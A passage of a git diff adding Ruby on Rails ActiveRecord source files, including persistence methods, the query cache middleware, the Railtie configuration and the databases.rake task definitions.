+ # Updates the associated record with values matching those of the instance attributes.
+ # Returns the number of affected rows.
+ def update_record(attribute_names = @attributes.keys)
+ attributes_with_values = arel_attributes_with_values_for_update(attribute_names)
+ if attributes_with_values.empty?
+ 0
+ else
+ klass = self.class
+ column_hash = klass.connection.schema_cache.columns_hash klass.table_name
+ db_columns_with_values = attributes_with_values.map { |attr,value|
+ real_column = column_hash[attr.name]
+ [real_column, value]
+ }
+ bind_attrs = attributes_with_values.dup
+ bind_attrs.keys.each_with_index do |column, i|
+ real_column = db_columns_with_values[i].first
+ bind_attrs[column] = klass.connection.substitute_at(real_column, i)
+ end
+ stmt = klass.unscoped.where(klass.arel_table[klass.primary_key].eq(id_was || id)).arel.compile_update(bind_attrs)
+ klass.connection.update stmt, 'SQL', db_columns_with_values
+ end
+ end
+
+ # Creates a record with values matching those of the instance attributes
+ # and returns its id.
+ def create_record(attribute_names = @attributes.keys)
+ attributes_values = arel_attributes_with_values_for_create(attribute_names)
+
+ new_id = self.class.unscoped.insert attributes_values
+ self.id ||= new_id if self.class.primary_key
+
+ @new_record = false
+ id
+ end
+
+ def verify_readonly_attribute(name)
+ raise ActiveRecordError, "#{name} is marked as readonly" if self.class.readonly_attributes.include?(name)
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb
new file mode 100644
index 0000000..df8654e
--- /dev/null
+++ b/activerecord/lib/active_record/query_cache.rb
@@ -0,0 +1,56 @@
+
+module ActiveRecord
+ # = Active Record Query Cache
+ class QueryCache
+ module ClassMethods
+ # Enable the query cache within the block if Active Record is configured.
+ # If it's not, it will execute the given block.
+ def cache(&block)
+ if ActiveRecord::Base.connected?
+ connection.cache(&block)
+ else
+ yield
+ end
+ end
+
+ # Disable the query cache within the block if Active Record is configured.
+ # If it's not, it will execute the given block.
+ def uncached(&block)
+ if ActiveRecord::Base.connected?
+ connection.uncached(&block)
+ else
+ yield
+ end
+ end
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ enabled = ActiveRecord::Base.connection.query_cache_enabled
+ connection_id = ActiveRecord::Base.connection_id
+ ActiveRecord::Base.connection.enable_query_cache!
+
+ response = @app.call(env)
+ response[2] = Rack::BodyProxy.new(response[2]) do
+ restore_query_cache_settings(connection_id, enabled)
+ end
+
+ response
+ rescue Exception => e
+ restore_query_cache_settings(connection_id, enabled)
+ raise e
+ end
+
+ private
+
+ def restore_query_cache_settings(connection_id, enabled)
+ ActiveRecord::Base.connection_id = connection_id
+ ActiveRecord::Base.connection.clear_query_cache
+ ActiveRecord::Base.connection.disable_query_cache! unless enabled
+ end
+
+ end
+end
diff --git a/activerecord/lib/active_record/querying.rb b/activerecord/lib/active_record/querying.rb
new file mode 100644
index 0000000..f78ccb0
--- /dev/null
+++ b/activerecord/lib/active_record/querying.rb
@@ -0,0 +1,62 @@
+module ActiveRecord
+ module Querying
+ delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :to => :all
+ delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :all
+ delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, :to => :all
+ delegate :find_by, :find_by!, :to => :all
+ delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :all
+ delegate :find_each, :find_in_batches, :to => :all
+ delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,
+ :where, :preload, :eager_load, :includes, :from, :lock, :readonly,
+ :having, :create_with, :uniq, :distinct, :references, :none, :unscope, :to => :all
+ delegate :count, :average, :minimum, :maximum, :sum, :calculate, :pluck, :ids, :to => :all
+
+ # Executes a custom SQL query against your database and returns all the results. The results will
+ # be returned as an array with columns requested encapsulated as attributes of the model you call
+ # this method from. If you call <tt>Product.find_by_sql</tt> then the results will be returned in
+ # a Product object with the attributes you specified in the SQL query.
+ #
+ # If you call a complicated SQL query which spans multiple tables the columns specified by the
+ # SELECT will be attributes of the model, whether or not they are columns of the corresponding
+ # table.
+ #
+ # The +sql+ parameter is a full SQL query as a string. It will be called as is, there will be
+ # no database agnostic conversions performed. This should be a last resort because using, for example,
+ # MySQL specific terms will lock you to using that particular database engine or require you to
+ # change your call if you switch engines.
+ #
+ # # A simple SQL query spanning multiple tables
+ # Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
+ # # => [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "first_name"=>"Quentin"}>, ...]
+ #
+ # # You can use the same string replacement techniques as you can with ActiveRecord#find
+ # Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
+ # # => [#<Post:0x36bff9c @attributes={"title"=>"The Cheap Man Buys Twice"}>, ...]
+ def find_by_sql(sql, binds = [])
+ result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds)
+ column_types = {}
+
+ if result_set.respond_to? :column_types
+ column_types = result_set.column_types
+ else
+ ActiveSupport::Deprecation.warn "the object returned from `select_all` must respond to `column_types`"
+ end
+
+ result_set.map { |record| instantiate(record, column_types) }
+ end
+
+ # Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part.
+ # The use of this method should be restricted to complicated SQL queries that can't be executed
+ # using the ActiveRecord::Calculations class methods. Look into those before using this.
+ #
+ # ==== Parameters
+ #
+ # * +sql+ - An SQL statement which should return a count query from the database, see the example below.
+ #
+ # Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
+ def count_by_sql(sql)
+ sql = sanitize_conditions(sql)
+ connection.select_value(sql, "#{name} Count").to_i
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
new file mode 100644
index 0000000..e36888d
--- /dev/null
+++ b/activerecord/lib/active_record/railtie.rb
@@ -0,0 +1,200 @@
+require "active_record"
+require "rails"
+require "active_model/railtie"
+
+# For now, action_controller must always be present with
+# rails, so let's make sure that it gets required before
+# here. This is needed for correctly setting up the middleware.
+# In the future, this might become an optional require.
+require "action_controller/railtie"
+
+module ActiveRecord
+ # = Active Record Railtie
+ class Railtie < Rails::Railtie # :nodoc:
+ config.active_record = ActiveSupport::OrderedOptions.new
+
+ config.app_generators.orm :active_record, :migration => true,
+ :timestamps => true
+
+ config.app_middleware.insert_after "::ActionDispatch::Callbacks",
+ "ActiveRecord::QueryCache"
+
+ config.app_middleware.insert_after "::ActionDispatch::Callbacks",
+ "ActiveRecord::ConnectionAdapters::ConnectionManagement"
+
+ config.action_dispatch.rescue_responses.merge!(
+ 'ActiveRecord::RecordNotFound' => :not_found,
+ 'ActiveRecord::StaleObjectError' => :conflict,
+ 'ActiveRecord::RecordInvalid' => :unprocessable_entity,
+ 'ActiveRecord::RecordNotSaved' => :unprocessable_entity
+ )
+
+
+ config.active_record.use_schema_cache_dump = true
+
+ config.eager_load_namespaces << ActiveRecord
+
+ rake_tasks do
+ require "active_record/base"
+
+ ActiveRecord::Tasks::DatabaseTasks.env = Rails.env
+ ActiveRecord::Tasks::DatabaseTasks.db_dir = Rails.application.config.paths["db"].first
+ ActiveRecord::Tasks::DatabaseTasks.seed_loader = Rails.application
+ ActiveRecord::Tasks::DatabaseTasks.database_configuration = Rails.application.config.database_configuration
+ ActiveRecord::Tasks::DatabaseTasks.migrations_paths = Rails.application.paths['db/migrate'].to_a
+ ActiveRecord::Tasks::DatabaseTasks.fixtures_path = File.join Rails.root, 'test', 'fixtures'
+
+ if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH)
+ if engine.paths['db/migrate'].existent
+ ActiveRecord::Tasks::DatabaseTasks.migrations_paths += engine.paths['db/migrate'].to_a
+ end
+ end
+
+ load "active_record/railties/databases.rake"
+ end
+
+ # When loading console, force ActiveRecord::Base to be loaded
+ # to avoid cross references when loading a constant for the
+ # first time. Also, make it output to STDERR.
+ console do |app|
+ require "active_record/railties/console_sandbox" if app.sandbox?
+ require "active_record/base"
+ console = ActiveSupport::Logger.new(STDERR)
+ Rails.logger.extend ActiveSupport::Logger.broadcast console
+ end
+
+ runner do
+ require "active_record/base"
+ end
+
+ initializer "active_record.initialize_timezone" do
+ ActiveSupport.on_load(:active_record) do
+ self.time_zone_aware_attributes = true
+ self.default_timezone = :utc
+ end
+ end
+
+ initializer "active_record.logger" do
+ ActiveSupport.on_load(:active_record) { self.logger ||= ::Rails.logger }
+ end
+
+ initializer "active_record.migration_error" do
+ if config.active_record.delete(:migration_error) == :page_load
+ config.app_middleware.insert_after "::ActionDispatch::Callbacks",
+ "ActiveRecord::Migration::CheckPending"
+ end
+ end
+
+ initializer "active_record.check_schema_cache_dump" do
+ if config.active_record.delete(:use_schema_cache_dump)
+ config.after_initialize do |app|
+ ActiveSupport.on_load(:active_record) do
+ filename = File.join(app.config.paths["db"].first, "schema_cache.dump")
+
+ if File.file?(filename)
+ cache = Marshal.load File.binread filename
+ if cache.version == ActiveRecord::Migrator.current_version
+ self.connection.schema_cache = cache
+ else
+ warn "Ignoring db/schema_cache.dump because it has expired. The current schema version is #{ActiveRecord::Migrator.current_version}, but the one in the cache is #{cache.version}."
+ end
+ end
+ end
+ end
+ end
+ end
+
+ initializer "active_record.set_configs" do |app|
+ ActiveSupport.on_load(:active_record) do
+ begin
+ old_behavior, ActiveSupport::Deprecation.behavior = ActiveSupport::Deprecation.behavior, :stderr
+ whitelist_attributes = app.config.active_record.delete(:whitelist_attributes)
+
+ if respond_to?(:mass_assignment_sanitizer=)
+ mass_assignment_sanitizer = nil
+ else
+ mass_assignment_sanitizer = app.config.active_record.delete(:mass_assignment_sanitizer)
+ end
+
+ unless whitelist_attributes.nil? && mass_assignment_sanitizer.nil?
+ ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
+ Model based mass assignment security has been extracted
+ out of Rails into a gem. Please use the new recommended protection model for
+ params or add `protected_attributes` to your Gemfile to use the old one.
+
+ To disable this message remove the `whitelist_attributes` option from your
+ `config/application.rb` file and any `mass_assignment_sanitizer` options
+ from your `config/environments/*.rb` files.
+
+ See http://guides.rubyonrails.org/security.html#mass-assignment for more information.
+ EOF
+ end
+
+ unless app.config.active_record.delete(:auto_explain_threshold_in_seconds).nil?
+ ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
+ The Active Record auto explain feature has been removed.
+
+ To disable this message remove the `active_record.auto_explain_threshold_in_seconds`
+ option from the `config/environments/*.rb` config file.
+
+ See http://guides.rubyonrails.org/4_0_release_notes.html for more information.
+ EOF
+ end
+
+ unless app.config.active_record.delete(:observers).nil?
+ ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
+ Active Record Observers has been extracted out of Rails into a gem.
+ Please use callbacks or add `rails-observers` to your Gemfile to use observers.
+
+ To disable this message remove the `observers` option from your
+ `config/application.rb` or from your initializers.
+
+ See http://guides.rubyonrails.org/4_0_release_notes.html for more information.
+ EOF
+ end
+ ensure
+ ActiveSupport::Deprecation.behavior = old_behavior
+ end
+
+ app.config.active_record.each do |k,v|
+ send "#{k}=", v
+ end
+ end
+ end
+
+ # This sets the database configuration from Configuration#database_configuration
+ # and then establishes the connection.
+ initializer "active_record.initialize_database" do |app|
+ ActiveSupport.on_load(:active_record) do
+ self.configurations = app.config.database_configuration || {}
+ establish_connection
+ end
+ end
+
+ # Expose database runtime to controller for logging.
+ initializer "active_record.log_runtime" do
+ require "active_record/railties/controller_runtime"
+ ActiveSupport.on_load(:action_controller) do
+ include ActiveRecord::Railties::ControllerRuntime
+ end
+ end
+
+ initializer "active_record.set_reloader_hooks" do |app|
+ hook = app.config.reload_classes_only_on_change ? :to_prepare : :to_cleanup
+
+ ActiveSupport.on_load(:active_record) do
+ ActionDispatch::Reloader.send(hook) do
+ if ActiveRecord::Base.connected?
+ ActiveRecord::Base.clear_reloadable_connections!
+ ActiveRecord::Base.clear_cache!
+ end
+ end
+ end
+ end
+
+ initializer "active_record.add_watchable_files" do |app|
+ path = app.paths["db"].first
+ config.watchable_files.concat ["#{path}/schema.rb", "#{path}/structure.sql"]
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/railties/console_sandbox.rb b/activerecord/lib/active_record/railties/console_sandbox.rb
new file mode 100644
index 0000000..604a220
--- /dev/null
+++ b/activerecord/lib/active_record/railties/console_sandbox.rb
@@ -0,0 +1,5 @@
+ActiveRecord::Base.connection.begin_transaction(joinable: false)
+
+at_exit do
+ ActiveRecord::Base.connection.rollback_transaction
+end
diff --git a/activerecord/lib/active_record/railties/controller_runtime.rb b/activerecord/lib/active_record/railties/controller_runtime.rb
new file mode 100644
index 0000000..af48404
--- /dev/null
+++ b/activerecord/lib/active_record/railties/controller_runtime.rb
@@ -0,0 +1,50 @@
+require 'active_support/core_ext/module/attr_internal'
+require 'active_record/log_subscriber'
+
+module ActiveRecord
+ module Railties # :nodoc:
+ module ControllerRuntime #:nodoc:
+ extend ActiveSupport::Concern
+
+ protected
+
+ attr_internal :db_runtime
+
+ def process_action(action, *args)
+ # We also need to reset the runtime before each action
+ # because of queries in middleware or in cases we are streaming
+ # and it won't be cleaned up by the method below.
+ ActiveRecord::LogSubscriber.reset_runtime
+ super
+ end
+
+ def cleanup_view_runtime
+ if ActiveRecord::Base.connected?
+ db_rt_before_render = ActiveRecord::LogSubscriber.reset_runtime
+ self.db_runtime = (db_runtime || 0) + db_rt_before_render
+ runtime = super
+ db_rt_after_render = ActiveRecord::LogSubscriber.reset_runtime
+ self.db_runtime += db_rt_after_render
+ runtime - db_rt_after_render
+ else
+ super
+ end
+ end
+
+ def append_info_to_payload(payload)
+ super
+ if ActiveRecord::Base.connected?
+ payload[:db_runtime] = (db_runtime || 0) + ActiveRecord::LogSubscriber.reset_runtime
+ end
+ end
+
+ module ClassMethods # :nodoc:
+ def log_process_action(payload)
+ messages, db_runtime = super, payload[:db_runtime]
+ messages << ("ActiveRecord: %.1fms" % db_runtime.to_f) if db_runtime
+ messages
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
new file mode 100644
index 0000000..bb9e390
--- /dev/null
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -0,0 +1,398 @@
+require 'active_record'
+
+db_namespace = namespace :db do
+ task :load_config do
+ ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
+ ActiveRecord::Migrator.migrations_paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths
+ end
+
+ namespace :create do
+ task :all => :load_config do
+ ActiveRecord::Tasks::DatabaseTasks.create_all
+ end
+ end
+
+ desc 'Create the database from DATABASE_URL or config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
+ task :create => [:load_config] do
+ if ENV['DATABASE_URL']
+ ActiveRecord::Tasks::DatabaseTasks.create_database_url
+ else
+ ActiveRecord::Tasks::DatabaseTasks.create_current
+ end
+ end
+
+ namespace :drop do
+ task :all => :load_config do
+ ActiveRecord::Tasks::DatabaseTasks.drop_all
+ end
+ end
+
+ desc 'Drops the database using DATABASE_URL or the current Rails.env (use db:drop:all to drop all databases)'
+ task :drop => [:load_config] do
+ if ENV['DATABASE_URL']
+ ActiveRecord::Tasks::DatabaseTasks.drop_database_url
+ else
+ ActiveRecord::Tasks::DatabaseTasks.drop_current
+ end
+ end
+
+ desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
+ task :migrate => [:environment, :load_config] do
+ ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
+ ActiveRecord::Migrator.migrate(ActiveRecord::Migrator.migrations_paths, ENV["VERSION"] ? ENV["VERSION"].to_i : nil) do |migration|
+ ENV["SCOPE"].blank? || (ENV["SCOPE"] == migration.scope)
+ end
+ db_namespace['_dump'].invoke
+ end
+
+ task :_dump do
+ case ActiveRecord::Base.schema_format
+ when :ruby then db_namespace["schema:dump"].invoke
+ when :sql then db_namespace["structure:dump"].invoke
+ else
+ raise "unknown schema format #{ActiveRecord::Base.schema_format}"
+ end
+ # Allow this task to be called as many times as required. An example is the
+ # migrate:redo task, which calls other two internally that depend on this one.
+ db_namespace['_dump'].reenable
+ end
+
+ namespace :migrate do
+ # desc 'Rollbacks the database one migration and re migrate up (options: STEP=x, VERSION=x).'
+ task :redo => [:environment, :load_config] do
+ if ENV['VERSION']
+ db_namespace['migrate:down'].invoke
+ db_namespace['migrate:up'].invoke
+ else
+ db_namespace['rollback'].invoke
+ db_namespace['migrate'].invoke
+ end
+ end
+
+ # desc 'Resets your database using your migrations for the current environment'
+ task :reset => ['db:drop', 'db:create', 'db:migrate']
+
+ # desc 'Runs the "up" for a given migration VERSION.'
+ task :up => [:environment, :load_config] do
+ version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
+ raise 'VERSION is required' unless version
+ ActiveRecord::Migrator.run(:up, ActiveRecord::Migrator.migrations_paths, version)
+ db_namespace['_dump'].invoke
+ end
+
+ # desc 'Runs the "down" for a given migration VERSION.'
+ task :down => [:environment, :load_config] do
+ version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
+ raise 'VERSION is required' unless version
+ ActiveRecord::Migrator.run(:down, ActiveRecord::Migrator.migrations_paths, version)
+ db_namespace['_dump'].invoke
+ end
+
+ desc 'Display status of migrations'
+ task :status => [:environment, :load_config] do
+ unless ActiveRecord::Base.connection.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+ puts 'Schema migrations table does not exist yet.'
+ next # means "return" for rake task
+ end
+ db_list = ActiveRecord::Base.connection.select_values("SELECT version FROM #{ActiveRecord::Migrator.schema_migrations_table_name}")
+ db_list.map! { |version| "%.3d" % version }
+ file_list = []
+ ActiveRecord::Migrator.migrations_paths.each do |path|
+ Dir.foreach(path) do |file|
+ # match "20091231235959_some_name.rb" and "001_some_name.rb" pattern
+ if match_data = /^(\d{3,})_(.+)\.rb$/.match(file)
+ status = db_list.delete(match_data[1]) ? 'up' : 'down'
+ file_list << [status, match_data[1], match_data[2].humanize]
+ end
+ end
+ end
+ db_list.map! do |version|
+ ['up', version, '********** NO FILE **********']
+ end
+ # output
+ puts "\ndatabase: #{ActiveRecord::Base.connection_config[:database]}\n\n"
+ puts "#{'Status'.center(8)} #{'Migration ID'.ljust(14)} Migration Name"
+ puts "-" * 50
+ (db_list + file_list).sort_by {|migration| migration[1]}.each do |migration|
+ puts "#{migration[0].center(8)} #{migration[1].ljust(14)} #{migration[2]}"
+ end
+ puts
+ end
+ end
+
+ desc 'Rolls the schema back to the previous version (specify steps w/ STEP=n).'
+ task :rollback => [:environment, :load_config] do
+ step = ENV['STEP'] ? ENV['STEP'].to_i : 1
+ ActiveRecord::Migrator.rollback(ActiveRecord::Migrator.migrations_paths, step)
+ db_namespace['_dump'].invoke
+ end
+
+ # desc 'Pushes the schema to the next version (specify steps w/ STEP=n).'
+ task :forward => [:environment, :load_config] do
+ step = ENV['STEP'] ? ENV['STEP'].to_i : 1
+ ActiveRecord::Migrator.forward(ActiveRecord::Migrator.migrations_paths, step)
+ db_namespace['_dump'].invoke
+ end
+
+ # desc 'Drops and recreates the database from db/schema.rb for the current environment and loads the seeds.'
+ task :reset => [:environment, :load_config] do
+ db_namespace["drop"].invoke
+ db_namespace["setup"].invoke
+ end
+
+ # desc "Retrieves the charset for the current environment's database"
+ task :charset => [:environment, :load_config] do
+ puts ActiveRecord::Tasks::DatabaseTasks.charset_current
+ end
+
+ # desc "Retrieves the collation for the current environment's database"
+ task :collation => [:environment, :load_config] do
+ begin
+ puts ActiveRecord::Tasks::DatabaseTasks.collation_current
+ rescue NoMethodError
+ $stderr.puts 'Sorry, your database adapter is not supported yet. Feel free to submit a patch.'
+ end
+ end
+
+ desc 'Retrieves the current schema version number'
+ task :version => [:environment, :load_config] do
+ puts "Current version: #{ActiveRecord::Migrator.current_version}"
+ end
+
+ # desc "Raises an error if there are pending migrations"
+ task :abort_if_pending_migrations => :environment do
+ pending_migrations = ActiveRecord::Migrator.open(ActiveRecord::Migrator.migrations_paths).pending_migrations
+
+ if pending_migrations.any?
+ puts "You have #{pending_migrations.size} pending #{pending_migrations.size > 1 ? 'migrations:' : 'migration:'}"
+ pending_migrations.each do |pending_migration|
+ puts ' %4d %s' % [pending_migration.version, pending_migration.name]
+ end
+ abort %{Run `rake db:migrate` to update your database then try again.}
+ end
+ end
+
+ desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)'
+ task :setup => ['db:schema:load_if_ruby', 'db:structure:load_if_sql', :seed]
+
+ desc 'Load the seed data from db/seeds.rb'
+ task :seed do
+ db_namespace['abort_if_pending_migrations'].invoke
+ ActiveRecord::Tasks::DatabaseTasks.load_seed
+ end
+
+ namespace :fixtures do
+ desc "Load fixtures into the current environment's database. Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
+ task :load => [:environment, :load_config] do
+ require 'active_record/fixtures'
+
+ base_dir = if ENV['FIXTURES_PATH']
+ STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
+ "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
+ "instead."
+ File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
+ else
+ ActiveRecord::Tasks::DatabaseTasks.fixtures_path
+ end
+
+ fixtures_dir = File.join [base_dir, ENV['FIXTURES_DIR']].compact
+
+ (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }).each do |fixture_file|
+ ActiveRecord::FixtureSet.create_fixtures(fixtures_dir, fixture_file)
+ end
+ end
+
+ # desc "Search for a fixture given a LABEL or ID. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
+ task :identify => [:environment, :load_config] do
+ require 'active_record/fixtures'
+
+ label, id = ENV['LABEL'], ENV['ID']
+ raise 'LABEL or ID required' if label.blank? && id.blank?
+
+ puts %Q(The fixture ID for "#{label}" is #{ActiveRecord::FixtureSet.identify(label)}.) if label
+
+ base_dir = if ENV['FIXTURES_PATH']
+ STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
+ "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
+ "instead."
+ File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
+ else
+ ActiveRecord::Tasks::DatabaseTasks.fixtures_path
+ end
+
+
+ Dir["#{base_dir}/**/*.yml"].each do |file|
+ if data = YAML::load(ERB.new(IO.read(file)).result)
+ data.keys.each do |key|
+ key_id = ActiveRecord::FixtureSet.identify(key)
+
+ if key == label || key_id == id.to_i
+ puts "#{file}: #{key} (#{key_id})"
+ end
+ end
+ end
+ end
+ end
+ end
+
+ namespace :schema do
+ desc 'Create a db/schema.rb file that can be portably used against any DB supported by AR'
+ task :dump => [:environment, :load_config] do
+ require 'active_record/schema_dumper'
+ filename = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb')
+ File.open(filename, "w:utf-8") do |file|
+ ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
+ end
+ db_namespace['schema:dump'].reenable
+ end
+
+ desc 'Load a schema.rb file into the database'
+ task :load => [:environment, :load_config] do
+ file = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb')
+ if File.exists?(file)
+ load(file)
+ else
+ abort %{#{file} doesn't exist yet. Run `rake db:migrate` to create it, then try again. If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.}
+ end
+ end
+
+ task :load_if_ruby => ['db:create', :environment] do
+ db_namespace["schema:load"].invoke if ActiveRecord::Base.schema_format == :ruby
+ end
+
+ namespace :cache do
+ desc 'Create a db/schema_cache.dump file.'
+ task :dump => [:environment, :load_config] do
+ con = ActiveRecord::Base.connection
+ filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.dump")
+
+ con.schema_cache.clear!
+ con.tables.each { |table| con.schema_cache.add(table) }
+ open(filename, 'wb') { |f| f.write(Marshal.dump(con.schema_cache)) }
+ end
+
+ desc 'Clear a db/schema_cache.dump file.'
+ task :clear => [:environment, :load_config] do
+ filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.dump")
+ FileUtils.rm(filename) if File.exists?(filename)
+ end
+ end
+
+ end
+
+ namespace :structure do
+ desc 'Dump the database structure to db/structure.sql. Specify another file with DB_STRUCTURE=db/my_structure.sql'
+ task :dump => [:environment, :load_config] do
+ filename = ENV['DB_STRUCTURE'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
+ current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(current_config, filename)
+
+ if ActiveRecord::Base.connection.supports_migrations?
+ File.open(filename, "a") do |f|
+ f.puts ActiveRecord::Base.connection.dump_schema_information
+ end
+ end
+ db_namespace['structure:dump'].reenable
+ end
+
+ # desc "Recreate the databases from the structure.sql file"
+ task :load => [:environment, :load_config] do
+ filename = ENV['DB_STRUCTURE'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
+ current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
+ ActiveRecord::Tasks::DatabaseTasks.structure_load(current_config, filename)
+ end
+
+ task :load_if_sql => ['db:create', :environment] do
+ db_namespace["structure:load"].invoke if ActiveRecord::Base.schema_format == :sql
+ end
+ end
+
+ namespace :test do
+
+ # desc "Recreate the test database from the current schema"
+ task :load => 'db:test:purge' do
+ case ActiveRecord::Base.schema_format
+ when :ruby
+ db_namespace["test:load_schema"].invoke
+ when :sql
+ db_namespace["test:load_structure"].invoke
+ end
+ end
+
+ # desc "Recreate the test database from an existent schema.rb file"
+ task :load_schema => 'db:test:purge' do
+ ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['test'])
+ ActiveRecord::Schema.verbose = false
+ db_namespace["schema:load"].invoke
+ end
+
+ # desc "Recreate the test database from an existent structure.sql file"
+ task :load_structure => 'db:test:purge' do
+ begin
+ ActiveRecord::Tasks::DatabaseTasks.current_config(:config => ActiveRecord::Base.configurations['test'])
+ db_namespace["structure:load"].invoke
+ ensure
+ ActiveRecord::Tasks::DatabaseTasks.current_config(:config => nil)
+ end
+ end
+
+ # desc "Recreate the test database from a fresh schema"
+ task :clone do
+ case ActiveRecord::Base.schema_format
+ when :ruby
+ db_namespace["test:clone_schema"].invoke
+ when :sql
+ db_namespace["test:clone_structure"].invoke
+ end
+ end
+
+ # desc "Recreate the test database from a fresh schema.rb file"
+ task :clone_schema => ["db:schema:dump", "db:test:load_schema"]
+
+ # desc "Recreate the test database from a fresh structure.sql file"
+ task :clone_structure => [ "db:structure:dump", "db:test:load_structure" ]
+
+ # desc "Empty the test database"
+ task :purge => [:environment, :load_config] do
+ ActiveRecord::Tasks::DatabaseTasks.purge ActiveRecord::Base.configurations['test']
+ end
+
+ # desc 'Check for pending migrations and load the test schema'
+ task :prepare do
+ unless ActiveRecord::Base.configurations.blank?
+ db_namespace['test:load'].invoke
+ end
+ end
+ end
+end
+
+namespace :railties do
+ namespace :install do
+ # desc "Copies missing migrations from Railties (e.g. engines). You can specify Railties to use with FROM=railtie1,railtie2"
+ task :migrations => :'db:load_config' do
+ to_load = ENV['FROM'].blank? ? :all : ENV['FROM'].split(",").map {|n| n.strip }
+ railties = {}
+ Rails.application.railties.each do |railtie|
+ next unless to_load == :all || to_load.include?(railtie.railtie_name)
+
+ if railtie.respond_to?(:paths) && (path = railtie.paths['db/migrate'].first)
+ railties[railtie.railtie_name] = path
+ end
+ end
+
+ on_skip = Proc.new do |name, migration|
+ puts "NOTE: Migration #{migration.basename} from #{name} has been skipped. Migration with the same name already exists."
+ end
+
+ on_copy = Proc.new do |name, migration|
+ puts "Copied migration #{migration.basename} from #{name}"
+ end
+
+ ActiveRecord::Migration.copy(ActiveRecord::Migrator.migrations_paths.first, railties,
+ :on_skip => on_skip, :on_copy => on_copy)
+ end
+ end
+end
+
+task 'test:prepare' => ['db:test:prepare', 'db:test:load', 'db:abort_if_pending_migrations']
+
diff --git a/activerecord/lib/active_record/railties/jdbcmysql_error.rb b/activerecord/lib/active_record/railties/jdbcmysql_error.rb
new file mode 100644
index 0000000..6a38211
--- /dev/null
+++ b/activerecord/lib/active_record/railties/jdbcmysql_error.rb
@@ -0,0 +1,16 @@
+#FIXME Remove if ArJdbcMysql will give.
+module ArJdbcMySQL #:nodoc:
+ class Error < StandardError #:nodoc:
+ attr_accessor :error_number, :sql_state
+
+ def initialize msg
+ super
+ @error_number = nil
+ @sql_state = nil
+ end
+
+ # Mysql gem compatibility
+ alias_method :errno, :error_number
+ alias_method :error, :message
+ end
+end
diff --git a/activerecord/lib/active_record/readonly_attributes.rb b/activerecord/lib/active_record/readonly_attributes.rb
new file mode 100644
index 0000000..8499bb1
--- /dev/null
+++ b/activerecord/lib/active_record/readonly_attributes.rb
@@ -0,0 +1,30 @@
+
+module ActiveRecord
+ module ReadonlyAttributes
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :_attr_readonly, instance_accessor: false
+ self._attr_readonly = []
+ end
+
+ module ClassMethods
+ # Attributes listed as readonly will be used to create a new record but update operations will
+ # ignore these fields.
+ def attr_readonly(*attributes)
+ self._attr_readonly = Set.new(attributes.map { |a| a.to_s }) + (self._attr_readonly || [])
+ end
+
+ # Returns an array of all the attributes that have been specified as readonly.
+ def readonly_attributes
+ self._attr_readonly
+ end
